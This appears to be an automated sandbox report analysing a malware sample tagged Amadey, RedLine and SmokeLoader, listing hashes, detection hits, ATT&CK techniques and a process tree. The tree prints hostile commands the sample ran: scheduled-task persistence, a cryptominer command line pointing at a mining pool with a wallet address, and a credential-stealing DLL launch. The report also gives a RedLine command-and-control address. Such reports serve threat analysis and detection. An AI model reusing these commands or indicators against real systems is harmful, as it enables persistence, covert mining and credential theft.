amadey | 2afaba467f04e4a1907fecb1b0f6373a007f9e562dc22d0a73bb3700c49f5201

Analysis

max time kernel
117s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
06/11/2022, 02:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SecuriteInfo.com.Win32.Evo-gen.17460.27562.exe
Size 285KB
Sample221106-cez3lsdahn
SHA256 2afaba467f04e4a1907fecb1b0f6373a007f9e562dc22d0a73bb3700c49f5201
MD5 5005218ea80213f6815a6b4fc0f2e110
SHA1 bd002b12603ddb185eb1ca5b0af2c4d8a12925cc
SHA512 303222b272494e33a74c9c9b83fa08a31fac87df76a7e184c8cf0d265bed949f2aecd735cab390efb9ea4239b53599505600f4f035ecceb73bf4a98e097fa42f
SSDEEP 3072:DEUoEijoUVb5h45EXvk1cbIu8bllGG8irqRpGrTnuFppyNJzFQE:DRij3jJXvEwIZbXG78TuTcX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey redline smokeloader google2 backdoor collection discovery infostealer spyware stealer trojan upx

Malware Config

Extracted

Family

redline

Botnet

Google2

167.235.71.14:20469

Attributes

auth_value
fb274d9691235ba015830da570a13578

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect Amadey credential stealer module 2 IoCs

resource	yara_rule
behavioral2/files/0x0003000000000723-270.dat	amadey_cred_module
behavioral2/files/0x0003000000000723-269.dat	amadey_cred_module

Detects Smokeloader packer 4 IoCs

resource	yara_rule
behavioral2/memory/1136-133-0x0000000000990000-0x0000000000999000-memory.dmp	family_smokeloader
behavioral2/memory/4996-203-0x0000000000400000-0x0000000000409000-memory.dmp	family_smokeloader
behavioral2/memory/4996-214-0x0000000000400000-0x0000000000409000-memory.dmp	family_smokeloader
behavioral2/memory/4996-232-0x0000000000400000-0x0000000000409000-memory.dmp	family_smokeloader

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/memory/1976-161-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral2/memory/2092-172-0x0000000000A60000-0x0000000000AA5000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
156	3832	rundll32.exe

Downloads MZ/PE file

Executes dropped EXE 10 IoCs

pid	Process
2764	D3FE.exe
2092	DD46.exe
228	E016.exe
444	CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe
2244	LYKAA.exe
528	65C.exe
1884	1030.exe
1280	1468.exe
4796	rovwer.exe
1280	rovwer.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3236-186-0x0000000000400000-0x0000000000BD0000-memory.dmp	upx
behavioral2/memory/3236-189-0x0000000000400000-0x0000000000BD0000-memory.dmp	upx
behavioral2/memory/3236-190-0x0000000000400000-0x0000000000BD0000-memory.dmp	upx
behavioral2/memory/3236-191-0x0000000000400000-0x0000000000BD0000-memory.dmp	upx
behavioral2/memory/3236-192-0x0000000000400000-0x0000000000BD0000-memory.dmp	upx

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	E016.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	LYKAA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	1030.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	rovwer.exe

Loads dropped DLL 1 IoCs

pid	Process
3832	rundll32.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2092 set thread context of 1976	2092	DD46.exe	91
PID 528 set thread context of 3236	528	65C.exe	103
PID 1280 set thread context of 4996	1280	1468.exe	110
PID 2244 set thread context of 3388	2244	LYKAA.exe	125

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
4280	2092	WerFault.exe	88
3972	2764	WerFault.exe	86
4896	1280	WerFault.exe	105
3892	1884	WerFault.exe	104

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	SecuriteInfo.com.Win32.Evo-gen.17460.27562.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	SecuriteInfo.com.Win32.Evo-gen.17460.27562.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	SecuriteInfo.com.Win32.Evo-gen.17460.27562.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vbc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vbc.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vbc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3644	schtasks.exe
4448	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3256	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1136	SecuriteInfo.com.Win32.Evo-gen.17460.27562.exe
1136	SecuriteInfo.com.Win32.Evo-gen.17460.27562.exe
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1040	Process not Found

Suspicious behavior: MapViewOfSection 20 IoCs

pid	Process
1136	SecuriteInfo.com.Win32.Evo-gen.17460.27562.exe
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
4996	vbc.exe
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found
1040	Process not Found

Suspicious use of AdjustPrivilegeToken 50 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	D3FE.exe
Token: SeDebugPrivilege	444	CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeDebugPrivilege	2244	LYKAA.exe
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeDebugPrivilege	1976	vbc.exe
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found
Token: SeShutdownPrivilege	1040	Process not Found
Token: SeCreatePagefilePrivilege	1040	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1040 wrote to memory of 2764	1040	Process not Found	86
PID 1040 wrote to memory of 2764	1040	Process not Found	86
PID 1040 wrote to memory of 2764	1040	Process not Found	86
PID 1040 wrote to memory of 2092	1040	Process not Found	88
PID 1040 wrote to memory of 2092	1040	Process not Found	88
PID 1040 wrote to memory of 2092	1040	Process not Found	88
PID 1040 wrote to memory of 228	1040	Process not Found	89
PID 1040 wrote to memory of 228	1040	Process not Found	89
PID 228 wrote to memory of 444	228	E016.exe	90
PID 228 wrote to memory of 444	228	E016.exe	90
PID 2092 wrote to memory of 1976	2092	DD46.exe	91
PID 2092 wrote to memory of 1976	2092	DD46.exe	91
PID 2092 wrote to memory of 1976	2092	DD46.exe	91
PID 2092 wrote to memory of 1976	2092	DD46.exe	91
PID 444 wrote to memory of 1688	444	CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe	92
PID 444 wrote to memory of 1688	444	CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe	92
PID 2092 wrote to memory of 1976	2092	DD46.exe	91
PID 1688 wrote to memory of 3256	1688	cmd.exe	97
PID 1688 wrote to memory of 3256	1688	cmd.exe	97
PID 1688 wrote to memory of 2244	1688	cmd.exe	98
PID 1688 wrote to memory of 2244	1688	cmd.exe	98
PID 2244 wrote to memory of 3184	2244	LYKAA.exe	100
PID 2244 wrote to memory of 3184	2244	LYKAA.exe	100
PID 3184 wrote to memory of 3644	3184	cmd.exe	101
PID 3184 wrote to memory of 3644	3184	cmd.exe	101
PID 1040 wrote to memory of 528	1040	Process not Found	102
PID 1040 wrote to memory of 528	1040	Process not Found	102
PID 528 wrote to memory of 3236	528	65C.exe	103
PID 528 wrote to memory of 3236	528	65C.exe	103
PID 528 wrote to memory of 3236	528	65C.exe	103
PID 528 wrote to memory of 3236	528	65C.exe	103
PID 528 wrote to memory of 3236	528	65C.exe	103
PID 528 wrote to memory of 3236	528	65C.exe	103
PID 528 wrote to memory of 3236	528	65C.exe	103
PID 1040 wrote to memory of 1884	1040	Process not Found	104
PID 1040 wrote to memory of 1884	1040	Process not Found	104
PID 1040 wrote to memory of 1884	1040	Process not Found	104
PID 1040 wrote to memory of 1280	1040	Process not Found	105
PID 1040 wrote to memory of 1280	1040	Process not Found	105
PID 1040 wrote to memory of 1280	1040	Process not Found	105
PID 1040 wrote to memory of 2216	1040	Process not Found	108
PID 1040 wrote to memory of 2216	1040	Process not Found	108
PID 1040 wrote to memory of 2216	1040	Process not Found	108
PID 1040 wrote to memory of 2216	1040	Process not Found	108
PID 1280 wrote to memory of 2920	1280	1468.exe	109
PID 1280 wrote to memory of 2920	1280	1468.exe	109
PID 1280 wrote to memory of 2920	1280	1468.exe	109
PID 1280 wrote to memory of 4996	1280	1468.exe	110
PID 1280 wrote to memory of 4996	1280	1468.exe	110
PID 1280 wrote to memory of 4996	1280	1468.exe	110
PID 1280 wrote to memory of 4996	1280	1468.exe	110
PID 1280 wrote to memory of 4996	1280	1468.exe	110
PID 1040 wrote to memory of 220	1040	Process not Found	113
PID 1040 wrote to memory of 220	1040	Process not Found	113
PID 1040 wrote to memory of 220	1040	Process not Found	113
PID 1040 wrote to memory of 3496	1040	Process not Found	114
PID 1040 wrote to memory of 3496	1040	Process not Found	114
PID 1040 wrote to memory of 3496	1040	Process not Found	114
PID 1040 wrote to memory of 3496	1040	Process not Found	114
PID 1884 wrote to memory of 4796	1884	1030.exe	115
PID 1884 wrote to memory of 4796	1884	1030.exe	115
PID 1884 wrote to memory of 4796	1884	1030.exe	115
PID 1040 wrote to memory of 4548	1040	Process not Found	118
PID 1040 wrote to memory of 4548	1040	Process not Found	118

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.Evo-gen.17460.27562.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.Evo-gen.17460.27562.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1136

C:\Users\Admin\AppData\Local\Temp\D3FE.exe
C:\Users\Admin\AppData\Local\Temp\D3FE.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2764
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2764 -s 1256
  2⤵
  - Program crash
  PID:3972

C:\Users\Admin\AppData\Local\Temp\DD46.exe
C:\Users\Admin\AppData\Local\Temp\DD46.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2092
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1976
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2092 -s 276
  2⤵
  - Program crash
  PID:4280

C:\Users\Admin\AppData\Local\Temp\E016.exe
C:\Users\Admin\AppData\Local\Temp\E016.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:228
- C:\Users\Admin\AppData\Roaming\CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe
  "C:\Users\Admin\AppData\Roaming\CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEAD2.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:3256
  - - C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
      "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2244
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3184
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:3644
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.installs001 -p x -t 6
        5⤵
        
        PID:3388
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:3408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2092 -ip 2092
1⤵
PID:1996

C:\Users\Admin\AppData\Local\Temp\65C.exe
C:\Users\Admin\AppData\Local\Temp\65C.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:528
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
  2⤵
  PID:3236

C:\Users\Admin\AppData\Local\Temp\1030.exe
C:\Users\Admin\AppData\Local\Temp\1030.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
  "C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:4796
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rovwer.exe /TR "C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4448
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - outlook_win_path
    PID:3832
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 900
  2⤵
  - Program crash
  PID:3892

C:\Users\Admin\AppData\Local\Temp\1468.exe
C:\Users\Admin\AppData\Local\Temp\1468.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1280
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  PID:2920
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4996
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1280 -s 288
  2⤵
  - Program crash
  PID:4896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2764 -ip 2764
1⤵
PID:2356

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1280 -ip 1280
1⤵
PID:1400

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:220

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1884 -ip 1884
1⤵
PID:4888

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4548

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1236

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4696

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2992

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4784

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4624

C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
1⤵
- Executes dropped EXE
PID:1280

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LYKAA.exe

Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
Size 837KB
SHA256 917f533b13b2bac659f4a16d03ea4e1b30ee535c57c132b4d4f784fbd2c2a482
MD5 b71f097937ef3e6a757cda055babb005
SHA1 3fb167b8608824592d1707614cce46cfc643dd44
SHA512 d0fca6ef77597c68d8bbf671f4929764146be1dbeae2c6f66783be2922df09e9a7b983c603a295c1056b12f6cddf6e22eadea99bfc104266e4dae75b829b43aa
SSDEEP 6144:iS8XRASDmrAnEgmYwkInTTyP760eSvaajEQ3Q8OB6XEaBSuuFJd3Bd6Xxeuu8D3j:4KrAEZk4qPvaQgZL1Aen8TTlF+0q7
MD5 SHA1 SHA512 SSDEEP

Submit Download

LYKAA.exe

Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
Size 837KB
SHA256 917f533b13b2bac659f4a16d03ea4e1b30ee535c57c132b4d4f784fbd2c2a482
MD5 b71f097937ef3e6a757cda055babb005
SHA1 3fb167b8608824592d1707614cce46cfc643dd44
SHA512 d0fca6ef77597c68d8bbf671f4929764146be1dbeae2c6f66783be2922df09e9a7b983c603a295c1056b12f6cddf6e22eadea99bfc104266e4dae75b829b43aa
SSDEEP 6144:iS8XRASDmrAnEgmYwkInTTyP760eSvaajEQ3Q8OB6XEaBSuuFJd3Bd6Xxeuu8D3j:4KrAEZk4qPvaQgZL1Aen8TTlF+0q7
MD5 SHA1 SHA512 SSDEEP

Submit Download

1030.exe

Path C:\Users\Admin\AppData\Local\Temp\1030.exe
Size 324KB
SHA256 0cba131e7ac3a6c1b492782d616c0c66f887281f3b9d8a53f16a5a9adbfd7b1e
MD5 62734131c7ce03e38c053912846e86e9
SHA1 ff690cb224e2297d10e77d327c1c750fe1e78b02
SHA512 805dd75c1492711c23ac5997988b56c5dae70345dd21807aa9b4c6dd0bf67823c4db3be607bdbd4c463f15d30c67a18ce7437ae1df04c838faa37872a16dab75
SSDEEP 3072:lNdnHDMiEj4w18xh45EKu2yZbnoZ00+IlkwWk55xn+nDvRqs9W6AfRLda6ZBzZgC:lfnHEjYLJK7yZ0Zx+Ilkn+5tKMnRpn
MD5 SHA1 SHA512 SSDEEP

Submit Download

1030.exe

Path C:\Users\Admin\AppData\Local\Temp\1030.exe
Size 324KB
SHA256 0cba131e7ac3a6c1b492782d616c0c66f887281f3b9d8a53f16a5a9adbfd7b1e
MD5 62734131c7ce03e38c053912846e86e9
SHA1 ff690cb224e2297d10e77d327c1c750fe1e78b02
SHA512 805dd75c1492711c23ac5997988b56c5dae70345dd21807aa9b4c6dd0bf67823c4db3be607bdbd4c463f15d30c67a18ce7437ae1df04c838faa37872a16dab75
SSDEEP 3072:lNdnHDMiEj4w18xh45EKu2yZbnoZ00+IlkwWk55xn+nDvRqs9W6AfRLda6ZBzZgC:lfnHEjYLJK7yZ0Zx+Ilkn+5tKMnRpn
MD5 SHA1 SHA512 SSDEEP

Submit Download

1468.exe

Path C:\Users\Admin\AppData\Local\Temp\1468.exe
Size 149KB
SHA256 0bc1765f4d74d8a990d511ebbff70ad346279f9514d060dab3e9f047a4883168
MD5 2aed85e139aaec3d5d07c8f47b427629
SHA1 8470c1022fd48c1d5da670bf7fa04c8242167b8d
SHA512 a413e496f75c6f8a839346d876b04cda08661f41691a818048132a98112aa0cd6f6b81d2fd549e5a4d196794ad07d67755d1579c4339de3ed75024faebff61eb
SSDEEP 3072:siC5GHr/w7xzvH3dElsnDaWt8xUDqIftAs/V5INSudg/hAQCbr5:uwrIpvHa2DaTxHLyedg/h+bl
MD5 SHA1 SHA512 SSDEEP

Submit Download

1468.exe

Path C:\Users\Admin\AppData\Local\Temp\1468.exe
Size 149KB
SHA256 0bc1765f4d74d8a990d511ebbff70ad346279f9514d060dab3e9f047a4883168
MD5 2aed85e139aaec3d5d07c8f47b427629
SHA1 8470c1022fd48c1d5da670bf7fa04c8242167b8d
SHA512 a413e496f75c6f8a839346d876b04cda08661f41691a818048132a98112aa0cd6f6b81d2fd549e5a4d196794ad07d67755d1579c4339de3ed75024faebff61eb
SSDEEP 3072:siC5GHr/w7xzvH3dElsnDaWt8xUDqIftAs/V5INSudg/hAQCbr5:uwrIpvHa2DaTxHLyedg/h+bl
MD5 SHA1 SHA512 SSDEEP

Submit Download

65C.exe

Path C:\Users\Admin\AppData\Local\Temp\65C.exe
Size 3.7MB
SHA256 107eb8e724a5435f638bfab8bad68225ee8156bd6d52ddc637f37a6e8bbc12a9
MD5 d8d632674c0283afae462a91e9f2c925
SHA1 1897aed5db6677c06b8764ede4d01c5d71885a0c
SHA512 4f116c90d26adb77eec8ebb5808ae2f94e69151cd43786aee6a6a3738217d87b95aff6240df73afc6b2bdd3e544a4f6f6badbf04e41a99f3bafd37e74bea296a
SSDEEP 49152:Oc/E6GptUTfjndO3AbhIgQuW0jVYNzH1OoW99KkHdW0euNTOfLmc7KZ4h1/Vu+AD:k6VrndoMbQuBjVY1bU9KInOfw4n/VC3
MD5 SHA1 SHA512 SSDEEP

Submit Download

65C.exe

Path C:\Users\Admin\AppData\Local\Temp\65C.exe
Size 3.7MB
SHA256 107eb8e724a5435f638bfab8bad68225ee8156bd6d52ddc637f37a6e8bbc12a9
MD5 d8d632674c0283afae462a91e9f2c925
SHA1 1897aed5db6677c06b8764ede4d01c5d71885a0c
SHA512 4f116c90d26adb77eec8ebb5808ae2f94e69151cd43786aee6a6a3738217d87b95aff6240df73afc6b2bdd3e544a4f6f6badbf04e41a99f3bafd37e74bea296a
SSDEEP 49152:Oc/E6GptUTfjndO3AbhIgQuW0jVYNzH1OoW99KkHdW0euNTOfLmc7KZ4h1/Vu+AD:k6VrndoMbQuBjVY1bU9KInOfw4n/VC3
MD5 SHA1 SHA512 SSDEEP

Submit Download

D3FE.exe

Path C:\Users\Admin\AppData\Local\Temp\D3FE.exe
Size 423KB
SHA256 73c25d7f17e31311b538cf935f2537c364b9f59195ba3f649f2cc92355995c02
MD5 8473ad65e5580831f2b5bbc525df5997
SHA1 9e24ee00192421942066331fd95237533fc92606
SHA512 ed770b885df72af54adcbbc2e3453214b7d9b378edbd1e80f3771f17c5e7f35a0e780cb7ff277240a4e59a2aba38a087e975b846b05303d404e54182e2cd389b
